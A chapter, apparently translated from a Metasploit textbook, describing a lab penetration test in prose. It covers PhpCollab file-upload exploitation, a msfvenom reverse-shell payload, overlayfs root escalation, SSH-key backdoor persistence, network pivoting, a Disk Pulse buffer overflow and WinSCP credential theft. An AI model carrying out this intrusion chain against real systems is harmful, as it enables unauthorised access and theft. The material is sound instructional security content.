db_rebuild_cache | 该命令用于重新构建缓存,如果先前的缓存损坏或存储有旧的结果 |
开始新的渗透测试时,最好将先前扫描的主机及其相应的数据与新的渗透测试分开,以免混在一起。在开始新的渗透测试之前,我们可以在 Metasploit 中使用workspace命令来做到这一点,如下面的屏幕截图所示:
要添加一个新的工作空间,我们可以使用workspace -a命令,后面跟着一个标识符。我们应该将标识符保持为当前正在评估的组织的名称,如下面的屏幕截图所示:
我们可以看到,我们已经成功使用-a开关创建了一个新的工作空间。让我们通过简单地发出workspace命令,后面跟着工作空间名称,来切换工作空间,如前面的屏幕截图所示。有了工作空间,让我们快速对目标 IP 进行 Nmap 扫描,看看是否有一些有趣的服务在运行:
扫描结果让人心碎。除了端口80上没有运行任何服务外,目标上没有运行任何服务。
默认情况下,Nmap 只扫描前 1000 个端口。我们可以使用-p-开关扫描所有的 65535 个端口。
由于我们连接到了 Metasploit 数据库,我们检查的所有内容都会被记录到数据库中。发出services命令将从数据库中填充所有扫描到的服务。此外,让我们通过db_nmap使用-sV开关执行版本检测扫描,如下面的屏幕截图所示:
先前的 Nmap 扫描发现了端口80并将其记录在数据库中。然而,版本检测扫描发现了在端口80上运行的服务,即 Apache 2.4.7 Web 服务器,找到了 MAC 地址、操作系统类型,并更新了数据库中的条目,如前面的屏幕截图所示。由于获取访问权限需要明确针对软件特定版本的精确利用,因此始终要对版本信息进行双重检查。Metasploit 包含一个用于 HTTP 版本指纹识别的内置辅助模块。让我们使用它,如下面的屏幕截图所示:
要启动http_version扫描器模块,我们发出use命令,后面跟着模块的路径,即auxiliary/scanner/http/http_version。所有基于扫描的模块都有RHOSTS选项,用于包含广泛的 IP 地址和子网。然而,由于我们只测试单个 IP 目标,我们使用set命令将RHOSTS指定为目标 IP 地址,即192.168.174.132。接下来,我们只需使用run命令执行模块,如下面的屏幕截图所示:
这个版本的 Apache 正是我们在先前的 Nmap 扫描中发现的版本。运行在目标上的这个版本的 Apache Web 服务器是安全的,在exploit-db.com和0day.today等利用数据库中都没有公开的利用。因此,我们别无选择,只能寻找 Web 应用程序中的漏洞,如果有的话。让我们尝试浏览这个 IP 地址,看看我们能否找到一些东西:
好吧!我们有一个索引页面,但没有内容。让我们尝试使用 Metasploit 的dir_scanner模块来查找一些已知目录,如下面的屏幕截图所示:
加载auxiliary/scanner/http/dir_scanner模块后,让我们通过设置DICTIONARY参数中的路径来提供包含已知目录列表的字典文件。此外,我们可以通过将THREADS参数从1增加到20来加快进程。让我们运行模块并分析输出:
在单个目录条目之间的空格字符产生了很多误报。然而,我们从phpcollab目录得到了 302 响应代码,这表明在尝试访问phpcollab目录时,模块收到了重定向响应(302)。响应很有趣;让我们看看当我们尝试从浏览器打开phpcollab目录时会得到什么:
很好!我们有一个基于 PHP 的应用程序正在运行。因此,我们在 Metasploit 模块中得到了 302 响应。
威胁建模
从情报收集阶段,我们可以看到目标系统上只有端口80是开放的,并且运行在上面的应用程序不容易受到攻击,正在运行 PhpCollab Web 应用程序。尝试一些随机密码和用户名来访问 PhpCollab 门户没有成功。即使搜索 Metasploit,我们也没有 PhpCollab 的模块:
让我们尝试使用searchsploit工具从exploit-db.com/搜索 PhpCollab。searchsploit 允许您轻松搜索托管在 exploit 数据库网站上的所有漏洞,因为它维护了所有漏洞的离线副本:
哇!我们有一个 PhpCollab 的漏洞利用,好消息是它已经在 Metasploit 漏洞利用格式中。
漏洞分析 - 任意文件上传(未经身份验证)
PhpCollab 应用程序没有正确过滤上传文件的内容。因此,未经身份验证的攻击者可以上传恶意文件并运行任意代码。
对 PhpCollab 2.5.1 应用程序的攻击机制
如果攻击者通过在/clients/editclient.php?id=1&action=update URL 上发送POST请求上传恶意的 PHP 文件,应用程序可能会受到威胁。代码没有验证请求是否来自经过身份验证的用户。有问题的代码如下:
从第 2 行,我们可以看到上传的文件以$id后跟$extention的形式保存在logos_clients目录中,这意味着由于我们在 URL 中有id=1,上传的后门将保存为1.php在logos_clients目录中。
有关此漏洞的更多信息,请参阅:sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/。
利用和获取访问权限
为了访问目标,我们需要将此漏洞利用复制到 Metasploit 中。然而,直接将外部漏洞利用复制到 Metasploit 的漏洞利用目录是不鼓励的,也是不良实践,因为您将在每次更新时丢失模块。最好将外部模块保存在一个通用目录中,而不是 Metasploit 的modules目录。然而,保持模块的最佳方法是在系统的其他地方创建类似的目录结构,并使用loadpath命令加载它。让我们将找到的模块复制到某个目录:
让我们创建目录结构,如下截图所示:
我们可以看到,我们在MyModules文件夹中创建了一个 Metasploit 友好的结构,即modules/exploits/nipun,并将漏洞也移动到了该目录中。让我们按照以下步骤将此结构加载到 Metasploit 中:
我们已成功将漏洞加载到 Metasploit 中。让我们使用模块,如下面的截图所示:
该模块要求我们设置远程主机的地址、远程端口和 PhpCollab 应用程序的路径。由于路径(TARGETURI)和远程端口(RPORT)已经设置好了,让我们将RHOST设置为目标的 IP 地址,并发出exploit命令:
哇!我们已经访问了系统。让我们使用一些基本的后期利用命令并分析输出,如下面的截图所示:
正如我们在前面的截图中所看到的,运行sysinfo命令可以获取系统的信息,如计算机名称、操作系统、架构(64 位版本)和 Meterpreter 版本(基于 PHP 的 Meterpreter)。让我们使用shell命令在受损主机上进入系统 shell,如下面的截图所示:
我们可以看到,一旦我们进入系统 shell,运行诸如id之类的命令会提供我们当前用户正在使用的输入,即www-data,这意味着要完全控制该系统,我们需要 root 权限。此外,发出lsb_release -a命令会输出具有确切版本和代号的操作系统版本。让我们记下它,因为在获取对系统的 root 访问权限时会需要。然而,在我们继续进行 root 操作之前,让我们从系统中获取一些基本信息,例如使用getpid命令获取当前进程 ID,使用getuid命令获取当前用户 ID,用于唯一用户标识符的uuid和用于受损机器的machine_id。让我们运行我们刚刚讨论的所有命令并分析输出:
我们得到的信息相当直接。我们有当前进程的 ID,我们的 Meterpreter 所在的用户 ID,UUID 和机器 ID。然而,这里需要注意的一点是,我们的访问是基于 PHP Meterpreter 的,而 PHP Meterpreter 的限制是我们无法运行特权命令,这些命令可以很容易地由更具体的二进制 Meterpreter shells(如reverse TCP)提供。首先,让我们升级到更具体的 shell,以获得更好的目标访问级别。我们将使用msfvenom命令创建一个恶意载荷;然后我们将上传到目标系统并执行它。让我们开始吧:
由于我们的受损主机正在运行 64 位架构,我们将使用 Meterpreter 的 64 位版本,如前面的屏幕截图所示。MSFvenom 根据我们的要求生成强大的有效载荷。我们使用-p开关指定有效载荷,它就是linux/x64/meterpreter/reverse_tcp。这个有效载荷是 64 位 Linux 兼容的 Meterpreter 有效载荷,一旦在受损系统上执行,它将连接回我们的监听器,并为我们提供对机器的访问权限。由于有效载荷必须连接回我们,它应该知道要连接到哪里。出于这个原因,我们指定了LHOST和LPORT选项,其中LHOST作为我们监听器运行的 IP 地址,LPORT指定监听器的端口。我们将在 Linux 机器上使用有效载荷。因此,我们指定格式(-f)为 elf,这是 Linux 操作系统的默认可执行二进制格式。-b选项用于指定可能在通信中遇到问题并可能破坏 shellcode 的不良字符。有关不良字符及其规避的更多信息将在接下来的章节中介绍。最后,我们将有效载荷写入reverse_connect.elf文件。
接下来,由于我们已经在机器上拥有了一个 PHP Meterpreter 访问权限,让我们使用upload命令上传新创建的有效载荷,如前面的屏幕截图所示。我们可以通过发出pwd命令来验证上传的当前路径,这表示我们正在使用的当前目录。一旦执行了上传的有效载荷,它将连接回我们的系统。然而,我们在接收端也需要一些东西来处理连接。让我们运行一个处理程序来处理传入的连接,如下面的屏幕截图所示:
我们可以看到,我们使用background命令将 PHP Meterpreter 会话推送到后台。让我们使用exploit/multi/handler模块,并设置与reverse_connect.elf中使用的相同的有效载荷、LHOST 和 LPORT,然后使用exploit命令运行该模块。
使用-j命令利用后台模式启动处理程序作为作业,并可以处理多个连接,全部在后台进行。
我们已成功设置了处理程序。接下来,我们只需要在目标上执行有效载荷文件,如下面的屏幕截图所示:
我们可以看到,我们刚刚使用 shell 命令放置了一个 shell。我们使用pwd命令检查了目标上的当前工作目录。接下来,我们给有效载荷文件赋予了可执行权限,以便我们可以执行它,最后,我们使用&标识符在后台运行了reverse_connect.elf可执行文件。前面的屏幕截图显示,我们一旦运行可执行文件,就会打开一个新的 Meterpreter 会话到目标系统。使用sessions -i命令,我们可以看到我们现在在目标上有两个 Meterpreter:
然而,x64/Linux Meterpreter 显然比 PHP Meterpreter 更好,我们将继续通过这个 Meterpreter 与系统交互,除非我们获得了更高权限的 Meterpreter。但是,如果出现意外情况,我们可以切换访问到 PHP Meterpreter 并重新运行这个 payload,就像我们刚刚做的那样。这里的一个重要点是,无论我们在目标上获得了更好的访问级别,我们仍然是低权限用户,我们希望改变这一点。Metasploit 框架包含一个名为local_exploit_suggester的优秀模块,它有助于提升权限。它具有内置机制来检查各种本地提权利用,并建议在目标上使用最佳的利用。我们可以加载这个模块,如下面的屏幕截图所示:
我们使用use命令加载了模块,后面跟着模块的绝对路径,即post/multi/recon/local_exploit_suggester。由于我们想在目标上使用这个 exploit,我们自然会选择更好的 Meterpreter 来路由我们的检查。因此,我们将SESSION设置为2,以通过SESSION 2路由我们的检查,这是 x64/Linux Meterpreter 的标识符。让我们运行这个模块并分析输出:
太神奇了!我们可以看到suggester模块表明exploit/linux目录中的overlayfs_priv_esc本地利用模块可以在目标上用于获取 root 访问权限。但是,我把它留给你们来完成。让我们手动在目标上下载本地 root exploit,编译并执行它以获取目标系统的 root 访问权限。我们可以从以下网址下载 exploit:www.exploit-db.com/exploits/37292。但是,让我们在下一节中收集一些关于这个 exploit 的细节。
使用本地 root exploit 提升权限
overlayfs提权漏洞允许本地用户利用允许在任意挂载的命名空间中使用overlayfs的配置来获取 root 权限。这个漏洞存在的原因是overlayfs的实现没有正确检查在上层文件系统目录中创建文件的权限。
有关漏洞的更多信息可以在这里找到:www.cvedetails.com/cve/cve-2015-1328。
让我们进入一个 shell,并从www.exploit-db.com/下载原始 exploit 到目标上:
让我们将漏洞从37292重命名为37292.c,并使用gcc编译它,这将生成一个可执行文件,如下面的屏幕截图所示:
我们可以看到我们成功编译了 exploit,让我们运行它:
太棒了!正如我们所看到的,通过运行 exploit,我们已经获得了对 root shell 的访问;这标志着对这个系统的完全妥协。让我们运行一些基本命令并确认我们的身份:
记住,我们在后台运行了一个 exploit handler?让我们运行相同的reverse_connect.elf文件:
又打开了一个 Meterpreter 会话!让我们看看这个 Meterpreter 与其他两个有何不同:
我们可以看到我们从目标系统获得了第三个 Meterpreter。但是,UID,也就是用户 ID,是0,表示 root 用户。因此,这个 Meterpreter 正在以 root 权限运行,并且可以为我们提供对整个系统的无限制访问。让我们使用session -i命令与会话标识符交互,这种情况下是3:
(图片)
我们可以通过getuid命令确认 root 身份,如前面的截图所示。我们现在拥有了系统的完全权限,接下来呢?
使用 Metasploit 保持访问
保持对目标系统的访问是一个理想的功能,特别是在执法机构或红队测试目标上部署的防御时。我们可以通过 Metasploit 在 Linux 服务器上使用post/linux/manage目录中的sshkey_persistence模块实现持久性。该模块添加了我们的 SSH 密钥或创建一个新的密钥,并将其添加到目标服务器上存在的所有用户。因此,下次我们想登录到服务器时,它将不会要求我们输入密码,而只会使用密钥让我们进入。让我们看看我们如何实现这一点:
(图片)
我们只需要使用set SESSION命令设置会话标识符,然后使用具有最高特权级别的会话。因此,我们将使用3作为SESSION标识符,并直接运行模块,如下所示:
(图片)
我们可以看到该模块创建了一个新的 SSH 密钥,然后将其添加到目标系统上的两个用户,即root和claire。我们可以通过使用 SSH 连接到目标,使用root或用户claire,或两者,来验证我们的后门访问,如下所示:
(图片)
太棒了!我们可以看到我们通过使用新创建的 SSH 密钥登录到目标系统,使用了-i选项,如前面的屏幕所示。让我们看看我们是否也可以作为用户claire登录:
(图片)
是的!我们可以使用两个后门用户登录。
大多数服务器不允许 root 登录。因此,您可以编辑sshd config文件,将 root 登录更改为yes,并在目标上重新启动 SSH 服务。
尝试只给一个用户后门,比如 root,因为大多数人不会通过 root 登录,因为默认配置禁止了这样做。
后渗透和转向
无论我们已经攻陷了什么操作系统,Metasploit 都提供了数十个后渗透侦察模块,可以从受损的机器中收集大量数据。让我们使用其中一个模块:
(图片)
运行enum_configs后渗透模块,我们可以看到我们已经收集了目标上存在的所有配置文件。这些配置帮助我们发现密码、密码模式、关于正在运行的服务的信息,以及更多其他信息。另一个很棒的模块是enum_system,它收集了与操作系统相关的信息、用户账户、正在运行的服务、正在运行的定时作业、磁盘信息、日志文件等等,如下面的截图所示:
(图片)
在目标上收集了大量详细信息后,是不是该开始报告了呢?还不是。一个优秀的渗透测试人员会获取系统访问权限,获得最高级别的访问权限,并提出他的分析。然而,一个优秀的渗透测试人员会做同样的事情,但永远不会停留在一个单一的系统上。他们会尽力进入内部网络,并获得更多对网络的访问权限(如果允许的话)。让我们使用一些命令来帮助我们转向内部网络。一个这样的例子是arp命令,它列出内部网络中的所有已连接系统:
(图片)
我们可以看到一个单独的网络存在,它在192.168.116.0范围内。让我们发出ifconfig命令,看看受损主机上是否连接了另一个网络适配器:
(图片)
是的!我们做对了-还有另一个网络适配器(Interface 3)连接到一个单独的网络范围。然而,当我们尝试从我们的地址范围对这个网络进行 ping 或扫描时,我们无法做到,因为从我们的 IP 地址无法访问该网络,这意味着我们需要一种可以通过受损主机将数据从我们的系统转发到目标(否则无法访问)范围的机制。我们称这种安排为枢纽。因此,我们将通过我们获得的 Meterpreter 在系统上添加到目标范围的路由,并且范围内的目标系统将把我们的受损主机视为源发起者。让我们通过 Meterpreter 添加到否则无法访问的范围的路由,如下截图所示:
使用post/multi/manage目录下的autoroute后渗透模块,我们需要在SUBNET参数中指定目标范围,并将SESSION设置为 Meterpreter 的会话标识符,通过该会话数据将被隧道传输。通过运行该模块,我们可以看到已成功添加了到目标范围的路由。让我们运行 Metasploit 的 TCP 端口扫描模块,并分析我们是否可以扫描目标范围内的主机:
我们只需在找到的目标上运行portscanner模块,即使用arp命令找到的192.168.116.133,使用 10 个线程扫描端口 1-10000,如前面的截图所示:
成功!我们可以看到端口80是开放的。然而,我们只能通过 Meterpreter 进行访问。我们需要一种机制,可以通过 Web 浏览器运行一些外部工具来浏览端口80,以了解更多关于运行在端口80上的目标应用程序。Metasploit 提供了一个内置的 socks 代理模块,我们可以运行它,并将流量从我们的外部应用程序路由到目标192.168.116.133系统。让我们按照以下方式使用这个模块:
我们只需要运行位于辅助/服务器路径下的socks4a模块。它将在本地端口1080上设置一个网关,将流量路由到目标系统。在127.0.0.1:1080上代理将通过受损主机转发我们的浏览器流量。然而,对于外部工具,我们需要使用proxychains并通过将端口设置为1080来配置它。proxychains的端口可以使用/etc/proxychains.conf文件进行配置:
接下来的事情就是在浏览器中将该地址设置为代理,或者在所有第三方命令行应用程序(如 Nmap 和 Metasploit)中使用proxychains作为前缀。我们可以根据以下截图配置浏览器:
确保从“无代理”部分中删除localhost和127.0.0.1。设置代理后,我们只需在端口80上浏览 IP 地址,并检查是否可以到达端口80:
不错!我们可以看到应用程序,它说它是 Disk Pulse Enterprise,软件版本 9.9.16,这是一个已知的有漏洞的版本。在 Metasploit 中,我们有很多关于 Disk Pulse 的模块。让我们使用其中一个,如下所示:
是的!我是这个漏洞利用模块的原始作者之一。在利用之前,让我们了解一下这个漏洞。
漏洞分析-基于 SEH 的缓冲区溢出
漏洞在 Disk Pulse 9.9.16 的 Web 服务器组件解析GET请求时存在。攻击者可以构造恶意的GET请求并导致 SEH 帧被覆盖,这将使攻击者完全访问程序的流程。由于 Disk Pulse 以管理员权限运行,攻击者将获得系统的完全访问权限。
让我们利用漏洞并利用系统,如下所示:
只需设置RHOST和LPORT(将允许我们访问目标成功利用的网关端口),我们就可以准备利用系统。我们可以看到,一旦我们运行了利用程序,我们就打开了 Meterpreter 会话5,这标志着成功入侵了目标。我们可以使用sessions -i命令验证我们的会话列表,如下所示:
让我们与会话5进行交互,并检查我们拥有的访问级别:
发出getuid命令,我们可以看到我们已经拥有 Windows 操作系统上的最高特权NT AUTHORITY SYSTEM。
有关此漏洞的更多信息,请参阅:cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13696。
通过入侵密码管理器来利用人为错误
拥有最高级别的特权,让我们进行一些后期利用,如下所示:
在目标系统上查找安装的各种应用程序总是很好,因为其中一些应用程序可能已经将凭据保存到网络的其他部分。枚举已安装应用程序的列表,我们可以看到我们有 WinSCP 5.7,这是一个流行的 SSH 和 SFTP 客户端。Metasploit 可以从 WinSCP 软件中收集保存的凭据。让我们运行post/windows/gather/credentials/winscp模块,并检查我们是否在 WinSCP 软件中有一些保存的凭据:
太棒了!我们在网络中又救回了另一个主机的凭据,即192.168.116.134。好消息是保存的凭据是 root 帐户的,所以如果我们访问这个系统,将会拥有最高级别的特权。让我们使用ssh_login模块中找到的凭据,如下所示:
由于我们已经知道用户名和密码,让我们为模块设置这些选项,以及目标 IP 地址,如下截图所示:
太棒了!这是一个成功的登录,Metasploit 已经自动在其上获得了系统 shell。但是,我们总是可以使用 Meterpreter shell 升级到更好的访问质量。让我们使用msfvenom创建另一个后门,如下所示:
后门将在端口1337上监听连接。然而,我们如何将这个后门传输到被入侵的主机上呢?记住,我们运行了 socks 代理辅助模块并对配置进行了更改?在大多数工具的后缀中使用proxychains关键字将强制工具通过proxychains进行路由。因此,为了传输这样一个文件,我们可以使用如下截图所示的scp。
我们可以看到我们已成功传输了文件。运行匹配处理程序,类似于我们为第一个系统所做的,我们将从目标处获得连接。让我们总览一下我们在这个练习中获得的所有目标和会话:
在这个实践的真实世界示例中,我们通过本地漏洞、人为错误和利用以最高特权运行的软件,成功入侵了三个系统,并获得了最高可能的特权。
重新审视案例研究
为了设置测试环境,我们将需要多个操作系统,主要是两个不同的主机专用网络。此外,我们还需要以下组件:
| 组件名称 | 类型 | 使用的版本 | 网络详细信息 | 网络类型 |
|---|---|---|---|---|
| Kali Linux VM Image | 操作系统 | Kali Rolling(2017.3)x64 | 192.168.174.128(Vmnet8) | 仅主机 |
| Ubuntu 14.04 LTS | 操作系统 | 14.04(trusty) | 192.168.174.132(Vmnet8)192.168.116.129(Vmnet6) | 仅主机仅主机 |
| Windows 7 | 操作系统 | 专业版 | 192.168.116.133(Vmnet6) | 仅主机 |
| Ubuntu 16.04 LTS | 操作系统 | 16.04.3 LTS(xenial) | 192.168.116.134(Vmnet6) | 仅主机 |
| PhpCollab | Web 应用程序 | 2.5.1 | ||
| Disk Pulse | 企业磁盘管理软件 | 9.9.16 | ||
| WinSCP | SSH 和 SFTP | 5.7 |
修改方法
在这个练习中,我们执行了以下关键步骤:
-
我们首先对目标 IP 地址
192.168.174.132进行了 Nmap 扫描。 -
Nmap 扫描显示
192.168.174.132的端口80是开放的。 -
接下来,我们对运行在端口
80上的应用程序进行了指纹识别,发现正在运行 Apache 2.4.7。 -
我们尝试浏览 HTTP 端口。但是,我们什么也没找到。
-
我们运行了
dir_scanner模块,在 Apache 服务器上执行基于字典的检查,并找到了 PhpCollab 应用程序目录。 -
我们使用
searchsploit找到了 PhpCollab 的一个利用模块,并不得不将第三方利用程序导入 Metasploit。 -
接下来,我们利用应用程序并获得了对目标系统的有限用户访问权限。
-
为了改进我们的访问机制,我们上传了一个带后门的可执行文件,并实现了对目标更高级别的访问。
-
为了获得 root 访问权限,我们运行了
suggester模块的漏洞利用程序,并发现 overlayfs 特权升级漏洞利用程序将帮助我们实现对目标的 root 访问权限。 -
我们从
exploit-db.com/下载了 overlayfs 漏洞利用程序,编译并运行它以获得对目标的 root 访问权限。 -
使用相同的先前生成的后门,我们打开了另一个 Meterpreter shell,但这次是以 root 权限。
-
我们使用 Metasploit 中的
sshkey_persistence模块向系统添加了持久性。 -
在目标上运行
arp命令,我们发现与主机有一个单独的网络连接,该主机位于192.168.116.0/24的目标范围内。 -
我们使用 autoroute 脚本向该网络添加了一条路由。
-
我们使用 Metasploit 中的 TCP 端口扫描模块从
arp命令中扫描系统。 -
我们发现系统的端口
80是开放的。 -
由于我们只能通过 Meterpreter 访问目标网络,我们使用 Metasploit 中的
socks4a模块,使其他工具通过 Meterpreter 连接到目标。 -
运行 socks 代理,我们配置浏览器使用端口
1080上的socks4a代理。 -
我们通过浏览器打开了
192.168.116.133,发现它正在运行 Disk Pulse 9.9.16 web 服务器服务。 -
我们在 Metasploit 中搜索 Disk Pulse,并发现它容易受到基于 SEH 的缓冲区溢出漏洞的影响。
-
我们利用了漏洞,并获得了对目标的最高特权访问,因为该软件以 SYSTEM 级别特权运行。
-
我们列举了已安装应用程序的列表,并发现系统上安装了 WinSCP 5.7。
-
我们发现 Metasploit 包含一个内置模块,用于从 WinSCP 中获取保存的凭据。
-
我们从 WinSCP 收集了 root 凭据,并使用
ssh_login模块在目标上获得了 root shell。
- 我们上传了另一个后门,以在目标上获得具有 root 权限的 Meterpreter shell。
总结和练习
在本章中,我们介绍了渗透测试涉及的各个阶段。我们还看到了如何设置 Metasploit 并在网络上进行渗透测试。我们还回顾了 Metasploit 的基本功能。我们还研究了在 Metasploit 中使用数据库的好处以及使用 Metasploit 进行内部系统的枢纽转移。
完成本章后,我们掌握了以下内容:
-
了解渗透测试的各个阶段
-
使用 Metasploit 中的数据库的好处
-
Metasploit 框架的基础知识
-
了解利用和辅助模块的工作原理
-
了解如何转向内部网络并配置路由
-
理解使用 Metasploit 进行渗透测试的方法
本章的主要目标是让您熟悉渗透测试阶段和 Metasploit 的基础知识。本章完全侧重于为接下来的章节做准备。
为了充分利用本章所学的知识,您应该进行以下练习:
-
参考 PTES 标准,深入了解面向业务的渗透测试的所有阶段
-
在 Metasploit 框架中使用 overlayfs 特权提升模块
-
找到至少三种不属于 Metasploit 框架的不同利用,并将它们加载到 Metasploit 中
-
在 Windows 7 系统上执行后渗透,并识别五个最佳的后渗透模块
-
通过找到正确的持久性机制在 Windows 7 上实现持久性,并在此过程中检查是否有任何杀毒软件引发警报
-
识别 Windows、Linux 和 Mac 操作系统的至少三种持久性方法
在下一章中,我们将深入探讨脚本编写和构建 Metasploit 模块的广阔世界。我们将学习如何使用 Metasploit 构建尖端模块,并了解一些最流行的扫描和认证测试脚本的工作原理。